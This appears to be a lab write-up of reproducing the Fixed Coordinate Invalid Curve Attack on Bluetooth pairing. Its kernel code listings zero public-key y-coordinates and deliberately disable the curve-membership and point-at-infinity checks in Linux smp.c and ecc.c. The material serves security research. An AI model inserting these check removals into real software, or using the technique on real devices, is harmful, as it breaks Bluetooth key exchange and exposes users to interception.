Fixed Coordinate Invalid Curve Attack

I used the Raspberry Pi OS kernel version v5.15.45 for the attack implementation.

First, I modified the `/home/pi/kernel/linux/net/bluetooth/smp.c`[1] file. I commented out parts of the low-level debug macros, so that the public keys of both participants were logged into the `/var/log/debug` file to check if the y-coordinate of each public key was successfully set to `0`. The debug macros start at line 46 in the `smp.c` file as listing 1 shows.

```
42 /* Low-level debug macros to be used for stuff that we don't want
    * accidentally in dmesg, i.e. the values of the various crypto
44  * keys and the inputs & outputs of crypto functions.
    */
46 ~~#ifdef DEBUG~~
   #define SMP_DBG(fmt, ...) printk(KERN_DEBUG "%s: " fmt, __func__, \
48                     ##__VA_ARGS__)
   ~~#else~~
50 ~~#define SMP_DBG(fmt, ...) no_printk(KERN_DEBUG "%s: " fmt, \~~
   ~~                    __func__, ##__VA_ARGS__)~~
52 ~~#endif@~~
```

Listing 1: Modification of the debug macro in the *smp.c* file

In a second step, I implemented in the same file the code to set both y-coordinates of the public points to zero. For the public point of the Raspberry Pi itself was this in the `static u8 sc_send_public_key(struct smp_chan *smp)` method, beginning on line 1869 in the `smp.c` file. The modification was implemented beginning with line 1913 in the original file and 1915 in the modified one, respectively. In the modified code, I created a value to serve as a copy of the public key (`u8 *local_pk_copy[64];`, line 1872 in listing 2), copied the value of the actual public key (`smp->local_pk`) into it and set the y-coordinate of this public key to zero. Then I logged the values of both keys into the `/var/log/debug` file to be sure that the modification went well (starting at line 1915). After sending the key to the other participant, I copied the value of the `local_pk_copy` back to the `smp->local_pk` and logged again their values.

[1] `https://elixir.bootlin.com/linux/v5.15.45/source/net/bluetooth/smp.c`

```
static u8 sc_send_public_key(struct smp_chan *smp)
{
    struct hci_dev *hdev = smp->conn->hcon->hdev;
    u8 *local_pk_copy[64];

    bt_dev_dbg(hdev, "");

...

done:;

    memcpy(local_pk_copy, smp->local_pk, 64);
    memset(smp->local_pk + 32, 0, 32);

    SMP_DBG("Before: %32phN", 0);
    SMP_DBG("Local Public Key X: %32phN", smp->local_pk);
    SMP_DBG("Local Public Key Y: %32phN", smp->local_pk + 32);
    SMP_DBG("Local Public Key Copy X: %32phN", local_pk_copy);
    SMP_DBG("Local Public Key Copy Y: %32phN", local_pk_copy + 32);

    smp_send_cmd(smp->conn, SMP_CMD_PUBLIC_KEY, 64, smp->local_pk);

    memcpy(smp->local_pk,local_pk_copy, 64);

    SMP_DBG("After: %32phN", 0);
    SMP_DBG("Local Public Key X: %32phN", smp->local_pk);
    SMP_DBG("Local Public Key Y: %32phN", smp->local_pk + 32);
    SMP_DBG("Local Public Key Copy X: %32phN", local_pk_copy);
    SMP_DBG("Local Public Key Copy Y: %32phN", local_pk_copy + 32);

    return 0;
}
```

Listing 2: *static u8 sc_send_public_key(struct smp_chan *smp)* in the *smp.c* file

The modification for the remote public key was easier to implement, since I could directly set the y-coordinate to zero without the need of any key copy. The modification was done in the `static int smp_cmd_public_key(struct l2cap_conn *conn, struct sk_buff *skb)` method, starting at line 2727 in the original `smp.c` file. In the end, I just needed to implement one line of code, `memset(smp->remote_pk + 32, 0, 32);` at line 2753 as listing 3 shows.

```
2727 static int smp_cmd_public_key(struct l2cap_conn *conn, struct
        sk_buff *skb)
2728 {
 ...  ...
2752     memcpy(smp->remote_pk, key, 64);

2754     //set y-coordinate of remote pk to zero
         memset(smp->remote_pk+ 32, 0, 32);
2756 }
```

Listing 3: *static int smp_cmd_public_key(struct l2cap_conn *conn, struct sk_buff *skb)* in the *smp.c* file

The `/home/pi/kernel/linux/crypto/ecc.c`[2] file implements the method `int ecc_is_pubkey_valid_partial(const struct ecc_curve *curve, struct ecc_point *pk)` (line 1544) which verifies whether the given point is on the elliptic curve. If it is the case, the method returns `0`. The aforementioned method is called in the `int crypto_ecdh_shared_secret(unsigned int curve_id, unsigned int ndigits, const u64 *private_key, const u64 *public_key, u64 *secret)` method and its return value saved in the integer variable `ret` (line 1632). To omit the elliptic curve check, I set the value of the variable `ret` directly to zero.

Moreover, there is a check whether the resulting key is the point at infinity (`if (ecc_point_is_zero(product)){ret = -EFAULT; goto err_validity;}`, line 1646-1649) which I also crossed out. These modifications where necessary, since they prevented me to launch the attack, because these are the relevant checks to mitigate the *The Fixed Coordinate Invalid Curve Attack*. The modified code is shown in listing 4.

```
1603 int crypto_ecdh_shared_secret(unsigned int curve_id, unsigned int
         ndigits,
1604                         const u64 *private_key, const u64 *public_key,
                             u64 *secret)
1606 {
         int ret = 0;
1608
 ...  ...
 ...
1632     ret = ~~ecc_is_pubkey_valid_partial(curve, pk);~~ 0
1633     if (ret)
             goto err_alloc_product;
1635
 ...  ...
 ...
1646 ~~    if (ecc_point_is_zero(product)) {~~
1647 ~~        ret = -EFAULT;~~
     ~~        goto err_validity;~~
1649 ~~    }~~

 ...  ...

1659 out:
         return ret;
1661 }
     EXPORT_SYMBOL(crypto_ecdh_shared_secret);
```

Listing 4: *int crypto_ecdh_shared_secret(unsigned int curve_id, unsigned int ndigits, const u64 *private_key, const u64 *public_key, u64 *secret)* in the *ecc.c* file

[2] `https://elixir.bootlin.com/linux/v5.15.45/source/crypto/ecc.c`